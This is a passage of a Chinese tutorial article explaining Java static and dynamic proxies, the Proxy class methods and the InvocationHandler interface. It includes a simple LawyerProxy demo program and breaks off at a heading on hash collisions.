mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.4em;margin: 1.6em auto 1.2em;font-weight: bold;line-height: 1.43;cursor: text;padding-left: 9px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(242, 47, 39);white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">4、Java 动态代理</span></h3><p cid="n251" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">代理是 Java中的一种设计模式，主要用于提供对目标对象另外的访问方式。即是通过代理对象访问目标对象。这样一来，就可以在目标对象实现的基础上，加强额外的功能操作，起到扩展目标对象的功能。</span></p><p cid="n252" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">举个例子来说，我们想买一款国外的产品，但是我们自己不想出国，那么就可以通过代购的方式来获取该产品。代理模式的关键点在于代理对象和目标对象，代理对象是对目标对象的扩展，并且代理对象会调用目标对象。</span></p><p cid="n253" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">来谈动态代理前可以理解以下静态代理。</span></p><p cid="n254" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所谓静态代理，就像其名字一样，当确定了代理对象和被代理对象后，无法再去代理另一个对象，比如在生活中，我们找一个专门负责代购口红的代购人员让其代购口红，但是如果想要让其代购笔记本电脑，那么其就无法实现这一要求，因此我们就需要寻找另外一个专门负责代购笔记本电脑的人员，同理，在 Java 静态代理中，如果我们想要实现另一个代理，就需要重新写一个代理对象，如下图所示的就是这个原理：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.23157894736842105" data-s="300,640" style="" data-type="png" data-w="1045" src="https://wechat2rss.xlab.app/img-proxy/?k=74a58118&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DanaUshu8ricOx0ElgZQUMqI5dLfVMxKWP2H2lFUcY8CjRxUHkN7Bib3w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n256" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">总的来说，在静态代理中，代理类和被代理的类实现了同样的接口，代理类同时持有被代理类的引用，这样，当我们需要调用被代理类的方法时，可以通过调用代理类的方法来实现，下图所示，就是静态代理实现的示意图。</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7237318840579711" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=1aae91f1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DQPFLoQ1CD98HdvMd03gYSagYElzbqOAm9nydQpRfico75YQF14vcc1w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n258" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">静态代理的优势很明显，可以让开发人员在不修改已有代码的前提下，去完成一些增强功能的需求，但是静态代理的缺点也很明显，静态代理的使用会由于代理对象要实现与目标对象一致的接口，会产生过多的代理类，造成冗余；其次，大量使用静态代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象都要进行修改。基于这两点，有了动态代理，动态代理的优势在于可以很方便的对代理类的函数进行统一的处理，而不用修改每个代理类中的方法。那对于我们信息安全人员来说，动态代理意味着什么呢？实际上，Java 中的“动态”也就意味着使用了反射，因此动态代理其实是基于反射机制的一种代理模式。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6213768115942029" data-s="300,640" style="" data-type="png" data-w="1104" src="https://wechat2rss.xlab.app/img-proxy/?k=a02c6665&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DCiaxtOYArhE4qdmuV5DFw2F8wMVIEUILdjugeEgZQQrcgrnwlY5OygA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n260" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">如上图，动态代理和静态代理不同的点在于，动态代理可能有不同的需求（用户），通过动态代理，可以实现多个需求。动态代理其实就是通过实现接口的方式来实现代理，具体来说，动态代理是通过 Proxy 类创建代理对象，然后将接口方法“代理”给 InvocationHandler 接口完成的。</span></p><p cid="n261" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">动态代理的关键有两个，即上文中提到的 Proxy 类以及 InvocationHandler 接口，这是我们实现动态代理的核心。</span></p><h5 cid="n262" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1rem;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">Proxy 类</span></h5><p><span md-inline="plain" style="box-sizing: border-box;"><br/><span md-inline="plain" style="box-sizing: border-box;">在JDK中，Java提供了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.lang.reflect.InvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">接口和</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.lang.reflect.Proxy</code><span md-inline="plain" style="box-sizing: border-box;">类，这两个类相互配合，其中Proxy类是入口。Proxy类是用来创建一个代理对象的类，它提供了很多方法，如：</span></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> InvocationHandler getInvocationHandler(<span class="code-snippet__built_in">Object</span> proxy)</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;"></span></p><p>这个方法主要用于获取指定代理对象所关联的调用程序</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">static Class<span class="code-snippet__meta">&lt;?</span>&gt; getProxyClass(ClassLoader loader, <span class="code-snippet__class"><span class="code-snippet__keyword">Class</span>&lt;?&gt;</span>... interfaces) </span></code></pre></section><p>该方法主要用于返回指定接口的代理类</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">Object</span> newProxyInstance(ClassLoader loader, Class&lt;?&gt;[] interfaces, InvocationHandler h)</span></code></pre></section><p>该方法主要返回一个指定接口的代理类实例，该接口可以将方法调用指派到指定的调用处理程序。 </p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">boolean</span> isProxyClass(Class&lt;?&gt; cl)</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">当且仅当指定的类通过 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getProxyClass</code><span md-inline="plain" style="box-sizing: border-box;"> 方法或 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">newProxyInstance</code><span md-inline="plain" style="box-sizing: border-box;"> 方法动态生成为代理类时，返回 true。这个方法的可靠性对于使用它做出安全决策而言非常重要，所以此方法的实现不应仅测试相关的类是否可以扩展 Proxy。</span></span></span></p><p><span md-inline="plain" style="box-sizing: border-box;">在上述方法中，我们最常用的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">newProxyInstance</code><span md-inline="plain" style="box-sizing: border-box;">方法，这个方法的作用是创建一个代理类对象，它接收三个参数，loader、interfaces以及h，各个参数含义如下：</span></span></p><p cid="n281" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">loader</span></strong><span md-inline="plain" style="box-sizing: border-box;">：这是一个classloader对象，定义了由哪个classloader对象对生成的代理类进行加载。</span></p><p><br/></p><p><span md-inline="strong" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">interfaces</span></strong></span><span md-inline="plain" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;">：代理类要实现的接口列表，表示我们将要给我们的代理对象提供一组什么样的接口，如果我们提供了这样一个接口对象数组，那么也就是声明了代理类实现了这些接口，代理类就可以调用接口中声明的所有方法。</span></p><p><br/></p><p><span md-inline="strong" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">h</span></strong></span><span md-inline="plain" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;">：指派方法调用的调用处理程序，是一个InvocationHandler对象，表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上，并最终由其调用。</span></p><h5 cid="n284" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1rem;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">InvocationHandler 接口</span></h5><p cid="n285" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.lang.reflect InvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">，主要方法为</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Object invoke(Object proxy, Method method, Object[] args)</code><span md-inline="plain" style="box-sizing: border-box;">，这个方法定义了代理对象调用方法时希望执行的动作，用于集中处理在动态代理类对象上的方法调用。Invoke 有三个参数，各个参数含义如下：</span></span></span></p><p cid="n286" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">proxy</span></strong><span md-inline="plain" style="box-sizing: border-box;">：在其上调用方法的代理实例</span></p><p cid="n287" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">method</span></strong><span md-inline="plain" style="box-sizing: border-box;">：对应于在代理实例上调用的接口方法的 Method 实例。Method 对象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。</span></span></p><p cid="n288" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">args</span></strong><span md-inline="plain" style="box-sizing: border-box;">：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为 null。基本类型的参数被包装在适当基本包装器类（如 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.lang.Integer</code><span md-inline="plain" style="box-sizing: border-box;"> 或</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">java.lang.Boolean</code><span md-inline="plain" style="box-sizing: border-box;">）的实例中。</span></span></span></span></p><p cid="n289" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">以下代码就是一个简单的动态代理的实例：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> main.java.com.ms08067.dtProxy;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.InvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Proxy;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">dtProxyDemo</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Speaker</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">speak</span><span class="code-snippet__params">()</span></span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">xiaoMing</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Speaker</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">speak</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;我有纠纷!&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">xiaoHua</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Speaker</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">speak</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;我有纠纷!&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">LawyerProxy</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">InvocationHandler</span> </span>{</span></code><code><span class="code-snippet_outer">    Object obj;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">LawyerProxy</span><span class="code-snippet__params">(Object obj)</span></span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.obj = obj;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">invoke</span><span class="code-snippet__params">(Object proxy, Method method, Object[] args)</span> <span class="code-snippet__keyword">throws</span> Throwable </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span>(method.getName().equals(<span class="code-snippet__string">&#34;speak&#34;</span>)){</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;有什么可以帮助你的&#34;</span>);</span></code><code><span class="code-snippet_outer">            method.invoke(obj,args);</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;根据 XXXX 法律，应该 XXXX&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">gov</span></span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> </span>{</span></code><code><span class="code-snippet_outer">    xiaoMing xiaoMing = <span class="code-snippet__keyword">new</span> xiaoMing();</span></code><code><span class="code-snippet_outer">    xiaoHua xiaoHua = <span class="code-snippet__keyword">new</span> xiaoHua();</span></code><code><span class="code-snippet_outer">    LawyerProxy xiaoMing_lawyerProxy = <span class="code-snippet__keyword">new</span> LawyerProxy(xiaoMing);</span></code><code><span class="code-snippet_outer">    LawyerProxy xiaoHua_lawyerProxy = <span class="code-snippet__keyword">new</span> LawyerProxy(xiaoHua);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    Speaker xiaoMingSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),<span class="code-snippet__keyword">new</span> Class[]{Speaker.class},xiaoMing_lawyerProxy);</span></code><code><span class="code-snippet_outer">    xiaoMingSpeaker.speak();</span></code><code><span class="code-snippet_outer">    System.out.println(<span class="code-snippet__string">&#34;*********************&#34;</span>);</span></code><code><span class="code-snippet_outer">    Speaker xiaoHuaSpeaker = (Speaker) Proxy.newProxyInstance(gov.class.getClassLoader(),<span class="code-snippet__keyword">new</span> Class[]{Speaker.class},xiaoHua_lawyerProxy);</span></code><code><span class="code-snippet_outer">    xiaoHuaSpeaker.speak();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;orphans: 4;text-align: start;white-space: pre-wrap;word-spacing: 0.85px;text-size-adjust: auto;"><span md-inline="plain" style="box-sizing: border-box;">以上代码就是使用动态代理的方式，当为某个类或接口指定</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">InvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">对象时（如：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">LawyerProxy</code><span md-inline="plain" style="box-sizing: border-box;">），那么在调用该类或接口方法时,就会去调用指定</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">handler</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">invoke()</code><span md-inline="plain" style="box-sizing: border-box;">方法（37行）。</span></span></span></span></span></span><br/></p><p cid="n292" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">运行结果如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5631868131868132" data-s="300,640" style="" data-type="png" data-w="728" src="https://wechat2rss.xlab.app/img-proxy/?k=2bbaca42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DLzEOiaEeKVsUJDX43IYtva8oLIs7LQZJQiaAhop2w0D06azADF1g1L7w%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n294" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.4em;margin: 1.6em auto 1.2em;font-weight: bold;line-height: 1.43;cursor: text;padding-left: 9px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(242, 47, 39);white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">5、hash碰撞</span></h3><p cid="n295" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所谓的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">hash</code><span md-inline="plain" 